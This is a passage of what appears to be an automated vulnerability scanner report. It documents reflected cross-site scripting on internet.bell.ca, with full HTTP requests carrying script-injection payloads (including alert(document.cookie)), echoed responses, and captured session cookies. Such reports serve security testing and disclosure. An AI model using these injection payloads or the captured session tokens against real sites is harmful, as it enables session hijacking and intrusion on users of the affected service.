Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 01:47:32 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 01:47:32 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 01:47:32 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 01:47:32 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 01:47:32 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 01:47:32 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 01:47:32 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 01:47:32 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 01:47:32 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 01:47:32 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/img_gallery19ca9"><script>alert(1)</script>1f5bfd01185/90_en.gif" />
...[SNIP]...

2.7. http://internet.bell.ca/img_gallery/90_en.gif [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /img_gallery/90_en.gif

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d01f9"><script>alert(1)</script>ea5c675b356 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /img_gallery/90_en.gifd01f9"><script>alert(1)</script>ea5c675b356 HTTP/1.1
Host: internet.bell.ca
Proxy-Connection: keep-alive
Referer: http://internet.bell.ca/index.cfm?83853%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8d68ea21d78=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; gemini=region=ON|province=NS|myurl=CSQ|language=en; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478479424%3B%20s_lv%3D1290476679430%7C1385084679430%3B%20s_lv_s%3DFirst%2520Visit%7C1290478479430%3B%20s_pv%3DShop%253AMobile%253AOverview%253ALanding%7C1290478479448%3B; fsr.s={"v":1,"rid":"1290476637978_715804","pv":3,"to":4.6,"c":"http://www.bell.ca/shopping/PrsShpWls_Landing.page","f":1290476677957,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253DShop%2525253AMobile%2525253AOverview%2525253ALanding%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%2525252F%2525252Fwww.bell.ca%2525252Fshopping%2525252F70772.details%252526ot%25253DA%3B; CFID=115964071; CFTOKEN=16693619; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; VOKEN_SEEN=0; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290478564193%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=250352478.1210637365.1290476758.1290476758.1290476758.1; __utmc=250352478; __utmb=250352478.2.10.1290476758; SMSESSION=Po1WFIHTijkjzwZUwjCTbIAgCJHl/vVhqnOgLHVV34DPWv274mo0La4U7JHYZNxeNJQ3sjBUPydPdsGj3z8G36jb/3MT021rcA+bYDO167471mH0d/JGMc9+JoQWua7VfywFuy6zGyMqDrLs72rTdbpXXFhBH4FKNXKPrWC4q/Ui+GoUhqMT++EoaEfLeoWuCM3nNXljUi7w6o6iB0ht+mgdhegYrbmlYnFSea4JVH/hPfdcfw4/k+93JEAvLjtzypU+h064lVC8dabDWn0Va4kVjswd63b7a4p1JMB5XEI5GvPLX449WQ==

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 01:47:33 GMT
Connection: close
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 01:47:34 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 01:47:34 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 01:47:34 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 01:47:34 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 01:47:34 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 01:47:34 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 01:47:34 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 01:47:34 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 01:47:34 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 01:47:34 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
t type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/img_gallery/90_en.gifd01f9"><script>alert(1)</script>ea5c675b356" />
...[SNIP]...

2.8. http://internet.bell.ca/img_gallery/90_en.gifd01f9%22%3E%3Cscript%3Ealert(1)%3C/index.cfm [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /img_gallery/90_en.gifd01f9%22%3E%3Cscript%3Ealert(1)%3C/index.cfm

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ac153"><script>alert(1)</script>31e8cdd27f4 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /img_gallery/90_en.gifd01f9%22%3E%3Cscript%3Ealert(1)%3C/index.cfmac153"><script>alert(1)</script>31e8cdd27f4?method=sso.init&content=minidashboard HTTP/1.1
Host: internet.bell.ca
Proxy-Connection: keep-alive
Referer: http://internet.bell.ca/img_gallery/90_en.gifd01f9%22%3E%3Cscript%3Ealert(1)%3C/script%3Eea5c675b356
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; gemini=region=ON|province=NS|myurl=CSQ|language=en; CFID=115964071; CFTOKEN=16693619; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; VOKEN_SEEN=0; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478575947%3B%20s_lv%3D1290476775951%7C1385084775951%3B%20s_lv_s%3DFirst%2520Visit%7C1290478575951%3B%20s_pv%3DShop%253AMobile%253ASmartphones%252C%2520phones%2520-%2520mobile%2520internet%253AProducts%2520details%7C1290478575972%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.s={"v":1,"rid":"1290476637978_715804","pv":4,"to":4.3,"c":"http://www.bell.ca/shopping/LG-Optimus-Quantumwith-Windows--Phone-7/70772.details","f":1290476775436,"lc":{"d0":{"v":2,"s":false}},"cd":0,"sd":0}; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290478581903%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=250352478.1210637365.1290476758.1290476758.1290476758.1; __utmc=250352478; __utmb=250352478.3.10.1290476758; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 01:48:17 GMT
Connection: close
Set-Cookie: SMSESSION=XxKKtpSNKDwUEWJ2u+yj2mlb64lBNEG73A2PNIvLiLLwNbRzaQ3+OnRA7iK9DWawLh1SdLXh7PZq1ElFeU2F10Iu11hZ3QTWw+8Nlaq4ErN3sotYKSLhTmebhfvKADiiyILnvT0pvMS9oY0mrhGyRFkM+b3lnR6A9vdzmy++DnJPLKWMUcYQJCA47BFYLbRLGPNT6yagFsWa64+sBW1v0RNRI9qiDvw7SOaDIlJRcC3NOr8eBDhwbemd2ztYLwgaBCCxH9EHFcNR4HPxoC8YPylOIjAHLglAJqmPtHg4FkDPJtHFNa2D7Q==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 01:48:18 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 01:48:18 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 01:48:18 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 01:48:18 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 01:48:18 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 01:48:18 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 01:48:18 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 01:48:18 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 01:48:18 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 01:48:18 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/img_gallery/90_en.gifd01f9%22%3E%3Cscript%3Ealert(1)%3C/index.cfmac153"><script>alert(1)</script>31e8cdd27f4?method=sso.init&content=minidashboard" />
...[SNIP]...

2.9. http://internet.bell.ca/index.cfm [83853%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8d68ea21d78 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /index.cfm

Issue detail

The value of the 83853%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8d68ea21d78 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fcea0"><script>alert(1)</script>c5fbd15a32 was submitted in the 83853%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8d68ea21d78 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index.cfm?83853%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8d68ea21d78=1fcea0"><script>alert(1)</script>c5fbd15a32 HTTP/1.1
Host: internet.bell.ca
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; gemini=region=ON|province=NS|myurl=CSQ|language=en; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478479424%3B%20s_lv%3D1290476679430%7C1385084679430%3B%20s_lv_s%3DFirst%2520Visit%7C1290478479430%3B%20s_pv%3DShop%253AMobile%253AOverview%253ALanding%7C1290478479448%3B; fsr.s={"v":1,"rid":"1290476637978_715804","pv":3,"to":4.6,"c":"http://www.bell.ca/shopping/PrsShpWls_Landing.page","f":1290476677957,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253DShop%2525253AMobile%2525253AOverview%2525253ALanding%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%2525252F%2525252Fwww.bell.ca%2525252Fshopping%2525252F70772.details%252526ot%25253DA%3B; CFID=115964071; CFTOKEN=16693619; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E8d68ea21d78%3D1; VOKEN_SEEN=0; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290478557546%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; __utma=250352478.1210637365.1290476758.1290476758.1290476758.1; __utmc=250352478; __utmb=250352478.1.10.1290476758; SMSESSION=41HNQyihg0p8TMTwDjdPFqu22xiivsg/oqoSZS8qoz6epYLvC89AX0gt+9rwnzzutVxbE85PjDrNZH3bjFeWAj/yCiDlCm9HrM8RhDIAHIueA6ILUGbabEbfhfyiwjI9p7xZfukuFqwwP3CZ5x8ZzEyp0td5LU/YAHqr4Et0G+tq8ar02wCP5BZehgJWGuojzox3oJwuRi8C7s1AE4CpANXj06ZVWaLRpAJfWIqvN/ez7q1PHdfq+jfClx9YjcgJyA3LsE4UCQHRduwfOFBFiV7YNjLG38WJrSGOYop3rGSdiz9vVgqMBQ==

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 01:48:16 GMT
Connection: close
Set-Cookie: SMSESSION=HSXVsoPyYNIOPuoNgwo4rJtqpsf/qURj28WOx1qGrJ+bRdD6J2BuqG9HYBlFEZ19GTR06VJXfEMXlBH8HNx8sJEBTJapetCe7Y0aYE8d6d3Ff60gjz4kRRhmmE4Slb69ggcsBjYMjfof7nHPxbWlLGJEhXyFSK67C7YS0VwJJucHK5y5xhKb8xOT9uBmM+QMvBhDYRysDBIFtz5iJIYiREywkGoQmR4ONN4mVtuH8dNcn7ZqGkmlq3TFYJ1crVrqpXNdwcZ1av2ba09iGRz7Slkc4YxgEuUj4WO1gMrIxUkle17JDq4U5w==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 01:48:16 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 01:48:16 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 01:48:16 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 01:48:16 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 01:48:16 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 01:48:16 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 01:48:16 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 01:48:16 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 01:48:16 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1fcea0%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3Ec5fbd15a32;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu